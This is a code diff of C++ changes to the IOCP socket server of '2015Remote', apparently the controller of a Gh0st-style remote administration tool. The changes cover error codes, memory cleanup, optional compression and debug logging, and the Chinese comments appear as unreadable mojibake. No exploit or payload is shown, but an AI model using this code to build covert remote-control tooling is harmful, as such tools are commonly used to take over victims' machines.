||||||
|
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
char *buff = (char*)lParam;
|
||||||
|
m_wndStatusBar.SetPaneText(0, buff);
|
||||||
|
delete[]buff;
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
// Construction
|
// Construction
|
||||||
public:
|
public:
|
||||||
bool m_bIsStop;
|
bool m_bIsStop;
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
#include "zlib.h"
|
#include "zlib.h"
|
||||||
#define Z_FAILED(p) (Z_OK != (p))
|
#define Z_FAILED(p) (Z_OK != (p))
|
||||||
@@ -69,6 +70,7 @@ IOCPServer::IOCPServer(void)
|
|||||||
|
|
||||||
m_hKillEvent = NULL;
|
m_hKillEvent = NULL;
|
||||||
|
|
||||||
|
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||||||
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
||||||
|
|
||||||
m_NotifyProc = NULL;
|
m_NotifyProc = NULL;
|
||||||
@@ -112,6 +114,7 @@ IOCPServer::~IOCPServer(void)
|
|||||||
{
|
{
|
||||||
CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.GetHead();
|
CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.GetHead();
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
|
SAFE_DELETE(ContextObject->olps);
|
||||||
}
|
}
|
||||||
|
|
||||||
while (!m_ContextFreePoolList.IsEmpty())
|
while (!m_ContextFreePoolList.IsEmpty())
|
||||||
@@ -139,7 +142,8 @@ IOCPServer::~IOCPServer(void)
|
|||||||
WSACleanup();
|
WSACleanup();
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
// <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ.
|
||||||
|
UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||||
{
|
{
|
||||||
m_NotifyProc = NotifyProc;
|
m_NotifyProc = NotifyProc;
|
||||||
m_OfflineProc = OffProc;
|
m_OfflineProc = OffProc;
|
||||||
@@ -147,14 +151,14 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
if (m_hKillEvent==NULL)
|
if (m_hKillEvent==NULL)
|
||||||
{
|
{
|
||||||
return FALSE;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
|
|
||||||
if (m_sListenSocket == INVALID_SOCKET)
|
if (m_sListenSocket == INVALID_SOCKET)
|
||||||
{
|
{
|
||||||
return FALSE;
|
return 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_hListenEvent = WSACreateEvent();
|
m_hListenEvent = WSACreateEvent();
|
||||||
@@ -164,7 +168,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
return FALSE;
|
return 3;
|
||||||
}
|
}
|
||||||
|
|
||||||
int iRet = WSAEventSelect(m_sListenSocket, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FD_ACCEPT<50><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
int iRet = WSAEventSelect(m_sListenSocket, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FD_ACCEPT<50><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -173,6 +177,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
if (iRet == SOCKET_ERROR)
|
if (iRet == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
@@ -180,7 +185,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
SOCKADDR_IN ServerAddr;
|
SOCKADDR_IN ServerAddr;
|
||||||
@@ -203,13 +208,14 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
iRet = listen(m_sListenSocket, SOMAXCONN);
|
iRet = listen(m_sListenSocket, SOMAXCONN);
|
||||||
|
|
||||||
if (iRet == SOCKET_ERROR)
|
if (iRet == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
@@ -217,7 +223,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_hListenThread =
|
m_hListenThread =
|
||||||
@@ -229,18 +235,19 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
NULL);
|
NULL);
|
||||||
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
WSACloseEvent(m_hListenEvent);
|
WSACloseEvent(m_hListenEvent);
|
||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> 1 2
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> 1 2
|
||||||
InitializeIOCP();
|
InitializeIOCP();
|
||||||
return TRUE;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -311,26 +318,27 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
|
|
||||||
InterlockedIncrement(&This->m_ulCurrentThread);
|
InterlockedIncrement(&This->m_ulCurrentThread);
|
||||||
InterlockedIncrement(&This->m_ulBusyThread);
|
InterlockedIncrement(&This->m_ulBusyThread);
|
||||||
|
timeBeginPeriod(1);
|
||||||
while (This->m_bTimeToKill==FALSE)
|
while (This->m_bTimeToKill==FALSE)
|
||||||
{
|
{
|
||||||
|
AUTO_TICK(40);
|
||||||
InterlockedDecrement(&This->m_ulBusyThread);
|
InterlockedDecrement(&This->m_ulBusyThread);
|
||||||
|
// GetQueuedCompletionStatus<75><73>ʱ<EFBFBD>Ƚϳ<C8BD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¿ͻ<C2BF><CDBB>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>
|
||||||
BOOL bOk = GetQueuedCompletionStatus(
|
BOOL bOk = GetQueuedCompletionStatus(
|
||||||
hCompletionPort,
|
hCompletionPort,
|
||||||
&dwTrans,
|
&dwTrans,
|
||||||
(LPDWORD)&ContextObject,
|
(LPDWORD)&ContextObject,
|
||||||
&Overlapped,INFINITE);
|
&Overlapped, INFINITE);
|
||||||
|
STOP_TICK;
|
||||||
DWORD dwIOError = GetLastError();
|
DWORD dwIOError = GetLastError();
|
||||||
|
|
||||||
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
||||||
|
|
||||||
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
||||||
if ( !bOk && dwIOError != WAIT_TIMEOUT ) //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
if ( !bOk && dwIOError != WAIT_TIMEOUT ) //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
||||||
{
|
{
|
||||||
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
|
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
|
||||||
{
|
{
|
||||||
ContextObject->olps = NULL;
|
ContextObject->olps = NULL;
|
||||||
|
OutputDebugStringA("!!! RemoveStaleContext \n");
|
||||||
This->RemoveStaleContext(ContextObject);
|
This->RemoveStaleContext(ContextObject);
|
||||||
}
|
}
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
@@ -383,12 +391,15 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
|
|
||||||
ContextObject = NULL;
|
ContextObject = NULL;
|
||||||
}
|
}
|
||||||
catch (...) {}
|
catch (...) {
|
||||||
|
OutputDebugStringA("This->HandleIO catched an error!!!");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
}
|
}
|
||||||
|
timeEndPeriod(1);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
|
||||||
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
||||||
@@ -403,7 +414,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
//<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
//<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||||
{
|
{
|
||||||
AUTO_TICK(5);
|
AUTO_TICK(20);
|
||||||
|
|
||||||
BOOL bRet = FALSE;
|
BOOL bRet = FALSE;
|
||||||
|
|
||||||
@@ -450,13 +461,13 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||||
{
|
{
|
||||||
char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8<>ֽڶ<D6BD><DAB6><EFBFBD>
|
char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8<>ֽڶ<D6BD><DAB6><EFBFBD>
|
||||||
CopyMemory(szPacketFlag, ContextObject->InCompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0);
|
||||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
throw "Bad Buffer";
|
throw "Bad Buffer";
|
||||||
|
|
||||||
//Shine[50][kdjfkdjfkj]
|
//Shine[50][kdjfkdjfkj]
|
||||||
ULONG ulPackTotalLength = 0;
|
ULONG ulPackTotalLength = 0;
|
||||||
CopyMemory(&ulPackTotalLength, ContextObject->InCompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
|
ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH);
|
||||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD>
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD>
|
||||||
//50
|
//50
|
||||||
if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||||
@@ -467,10 +478,15 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
||||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
||||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
||||||
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
|
#if USING_COMPRESS
|
||||||
|
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
||||||
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
|
#else
|
||||||
|
PBYTE DeCompressedBuffer = CompressedBuffer;
|
||||||
|
int iRet = 0;
|
||||||
|
#endif
|
||||||
if (Z_SUCCESS(iRet))
|
if (Z_SUCCESS(iRet))
|
||||||
{
|
{
|
||||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
@@ -479,10 +495,16 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||||
}else{
|
}else{
|
||||||
OutputDebugStringA("[ERROR] uncompress failed \n");
|
OutputDebugStringA("[ERROR] uncompress failed \n");
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
#if USING_COMPRESS // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
|
delete [] DeCompressedBuffer;
|
||||||
|
#endif
|
||||||
throw "Bad Buffer";
|
throw "Bad Buffer";
|
||||||
}
|
}
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
|
#if USING_COMPRESS // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
delete [] DeCompressedBuffer;
|
delete [] DeCompressedBuffer;
|
||||||
|
#endif
|
||||||
}else{
|
}else{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -490,6 +512,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
}catch(...)
|
}catch(...)
|
||||||
{
|
{
|
||||||
|
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n");
|
||||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
|
|
||||||
@@ -501,7 +524,17 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||||
{
|
{
|
||||||
assert (ContextObject);
|
assert (ContextObject);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (ulOriginalLength < 100) {
|
||||||
|
char buf[100] = { 0 };
|
||||||
|
if (ulOriginalLength == 1){
|
||||||
|
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
memcpy(buf, szBuffer, ulOriginalLength);
|
||||||
|
}
|
||||||
|
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
|
||||||
|
}
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (ulOriginalLength > 0)
|
if (ulOriginalLength > 0)
|
||||||
@@ -528,7 +561,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||||
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
|
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
|
||||||
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
|
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
|
||||||
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||||
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
}
|
}
|
||||||
@@ -537,10 +570,14 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol);
|
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol);
|
||||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
|
OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
}
|
}
|
||||||
}catch(...){}
|
}catch(...){
|
||||||
|
OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength)
|
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength)
|
||||||
@@ -549,7 +586,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
|||||||
{
|
{
|
||||||
DWORD ulFlags = MSG_PARTIAL;
|
DWORD ulFlags = MSG_PARTIAL;
|
||||||
|
|
||||||
ContextObject->OutCompressedBuffer.RemoveComletedBuffer(ulCompletedLength); //<2F><><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9>ȥ<EFBFBD><C8A5>
|
ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //<2F><><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9>ȥ<EFBFBD><C8A5>
|
||||||
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0)
|
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0)
|
||||||
{
|
{
|
||||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||||
@@ -559,18 +596,21 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
|||||||
{
|
{
|
||||||
OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD>Ͷ<EFBFBD><CDB6> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD>Ͷ<EFBFBD><CDB6> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer();
|
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(0);
|
||||||
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength();
|
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength();
|
||||||
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
||||||
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
||||||
{
|
{
|
||||||
int a = GetLastError();
|
int a = GetLastError();
|
||||||
|
OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}catch(...){}
|
}catch(...){
|
||||||
|
OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n");
|
||||||
|
}
|
||||||
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
@@ -683,6 +723,8 @@ void IOCPServer::OnAccept()
|
|||||||
//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD>ǽ<EFBFBD><C7BD>ܵ<EFBFBD><DCB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><CDB8><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ɶ˿<C9B6> <20><><EFBFBD><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>
|
